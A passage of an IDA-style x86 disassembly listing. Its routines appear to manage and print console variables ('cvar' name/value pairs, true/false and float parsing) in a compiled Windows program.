		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 28502B8h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
